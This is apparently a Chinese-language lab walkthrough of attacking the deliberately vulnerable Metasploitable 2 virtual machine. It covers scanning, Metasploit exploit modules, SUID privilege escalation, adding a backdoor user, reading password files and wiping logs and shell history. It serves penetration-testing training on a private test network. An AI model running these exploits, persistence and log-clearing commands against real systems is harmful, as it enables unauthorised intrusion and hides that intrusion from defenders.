Metasploitable 2 靶场渗透测试全过程

📅 2026/8/13 10:27:39
Metasploitable 2 靶场渗透测试全过程
1. 环境搭建Metasploitable 2 是 Rapid7 官方提供的故意存在漏洞的 Linux 靶机非常适合渗透测试学习和技能训练。在开始之前确保你的实验环境满足以下条件攻击机Kali Linux2024内置 Metasploit 框架靶机Metasploitable 2可从 SourceForge 下载网络两者需在同一虚拟网络建议使用 VirtualBox 的 “Host-Only” 或 VMware 的 “NAT / Host-Only” 混合模式1.1 导入靶机下载 Metasploitable 2 的.ova文件后在 VirtualBox 中通过 “导入虚拟机” 功能导入。导入后靶机默认用户名为msfadmin密码为msfadmin。启动靶机登录后可通过ifconfig查看其 IP 地址例如192.168.56.101。1.2 配置攻击机在 Kali Linux 中确保网络适配器同样设置为 Host-Only然后通过ifconfig确认攻击机 IP例如192.168.56.102。接下来测试两台机器是否互通ping192.168.56.101收到回复即表示网络连通可以开始渗透测试。2. 信息收集信息收集是渗透测试的第一步目标是从靶机获取尽可能多的开放端口、服务版本、操作系统信息等为后续漏洞利用提供依据。2.1 主机发现使用netdiscover或arp-scan快速扫描内网存活主机sudonetdiscover-r192.168.56.0/24或者sudoarp-scan--localnet预期输出中会包含靶机的 IP 地址192.168.56.101。2.2 端口扫描使用nmap进行详细的端口扫描获取开放端口、服务版本、操作系统指纹nmap-sV-sC-O-p-192.168.56.101典型扫描结果将包含大量开放端口例如21/tcp vsftpd 2.3.422/tcp OpenSSH 4.7p123/tcp Linux telnetd25/tcp Postfix smtpd80/tcp Apache httpd 2.2.8139/tcp Samba smbd 3.X445/tcp Samba smbd 3.X3306/tcp MySQL 5.0.51a5432/tcp PostgreSQL 8.3.06667/tcp UnrealIRCd8180/tcp Apache Tomcat/Coyote JSP 1.1这些服务中许多存在已知高危漏洞我们将在后续步骤中利用。2.3 漏洞扫描使用nmap脚本引擎或OpenVAS进行漏洞扫描。这里以nmap的vuln脚本为例nmap--scriptvuln-p21,22,80,139,445,3306,6667,8180192.168.56.101输出会显示 vsftpd 2.3.4 存在后门漏洞、UnrealIRCd 存在远程代码执行漏洞、Samba 存在多个漏洞等。3. 漏洞利用针对扫描结果我们选取几个典型漏洞进行利用展示渗透流程。3.1 vsftpd 2.3.4 后门漏洞Metasploitable 2 上的 vsftpd 2.3.4 存在一个著名的后门漏洞攻击者可以通过特定指令触发一个监听在 6200 端口的 root shell。启动 Metasploit 控制台msfconsole搜索并加载 vsftpd 利用模块msf6 search vsftpd msf6 use exploit/unix/ftp/vsftpd_234_backdoor查看模块选项并设置目标主机msf6 exploit(unix/ftp/vsftpd_234_backdoor) show options msf6 exploit(unix/ftp/vsftpd_234_backdoor) set RHOSTS 192.168.56.101运行利用msf6 exploit(unix/ftp/vsftpd_234_backdoor) run如果成功你将获得一个 root shell可以直接执行id命令验证。3.2 UnrealIRCd 远程代码执行靶机上的 IRC 服务 UnrealIRCd 版本存在一个远程代码执行漏洞CVE-2010-2075。在 Metasploit 中搜索并利用msf6 search unrealircd msf6 use exploit/unix/irc/unreal_ircd_3281_backdoor msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) set RHOSTS 192.168.56.101 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) run成功后你将获得一个非 root 的 shell通常是daemon用户。可以通过whoami确认然后考虑提权。3.3 Tomcat 弱口令与 WAR 部署靶机 8180 端口运行着 Apache Tomcat默认启用了管理界面并且存在弱口令tomcat:tomcat。我们可以通过部署恶意 WAR 包获得 shell。首先使用 Metasploit 的tomcat_mgr_upload模块msf6 search tomcat_mgr_upload msf6 use exploit/multi/http/tomcat_mgr_upload msf6 exploit(multi/http/tomcat_mgr_upload) set RHOSTS 192.168.56.101 msf6 exploit(multi/http/tomcat_mgr_upload) set RPORT 8180 msf6 exploit(multi/http/tomcat_mgr_upload) set HttpUsername tomcat msf6 exploit(multi/http/tomcat_mgr_upload) set HttpPassword tomcat msf6 exploit(multi/http/tomcat_mgr_upload) run通常你将获得一个tomcat用户的 shell权限较低需要进一步提权。3.4 Samba 漏洞利用Samba 3.x 版本存在多个漏洞例如usermap_script远程命令执行漏洞。在 Metasploit 中msf6 search samba usermap msf6 use exploit/multi/samba/usermap_script msf6 exploit(multi/samba/usermap_script) set RHOSTS 192.168.56.101 msf6 exploit(multi/samba/usermap_script) run此漏洞可直接获得 root 权限因为 Samba 以 root 身份运行。4. 权限提升当通过某些漏洞获得的 shell 权限较低时需要进行提权。Metasploitable 2 提供了多种提权方法。4.1 内核漏洞提权Metasploitable 2 的内核版本较旧存在多个可提权漏洞。例如通过uname -a获取内核版本后可在 Metasploit 中搜索对应的本地提权模块msf6 search linux/local常见的模块如exploit/linux/local/udev_netlink、exploit/linux/local/glibc_origin_expansion_priv_esc等。假设你已经获得一个普通 shell可以使用sessions -u将当前会话升级为 Meterpreter然后使用getsystem尝试提权或手动指定提权模块。4.2 配置错误提权检查/etc/passwd是否可写、sudo -l输出、SUID 文件等。例如在 Metasploitable 2 中存在一个 SUID 二进制文件/usr/bin/find可以被利用find/-typef-perm-40002/dev/null若发现find有 SUID 位可通过以下命令提权touch/tmp/exploitfind/tmp/exploit-execwhoami\;或者直接执行find / -exec /bin/sh \;获得 root shell。5. 后渗透与痕迹清理获得最高权限后可以进行后渗透操作如持久化、收集敏感信息、清理日志等。5.1 持久化添加一个 root 用户或植入 SSH 公钥以便后续访问useradd-m-s/bin/bash backdoorechobackdoor:Password123|chpasswdusermod-aGsudobackdoor或者将攻击机的公钥写入/root/.ssh/authorized_keys。5.2 信息收集查看/etc/shadow、/etc/passwd、数据库配置文件、Web 应用源码等收集凭证和敏感信息。例如MySQL 的 root 密码为空可以直接连接mysql-uroot-p5.3 清理痕迹清除命令历史、日志文件避免被检测echo/var/log/auth.logecho/var/log/sysloghistory-crm-rf~/.bash_history注意在真实渗透测试中务必在授权范围内进行并保留操作记录。6. 总结Metasploitable 2 是一个绝佳的渗透测试训练平台涵盖了从信息收集到权限维持的完整流程。通过本次实践我们掌握了使用nmap进行端口和服务扫描使用 Metasploit 框架高效利用漏洞多种提权技术的应用后渗透阶段的基本操作。建议在每次练习后还原靶机快照重新尝试不同路径加深理解。同时牢记“渗透测试必须在授权前提下进行”切勿用于非法活动。是否环境搭建信息收集漏洞扫描漏洞利用是否获得root后渗透权限提升痕迹清理总结安全之路学无止境愿你在授权测试中不断精进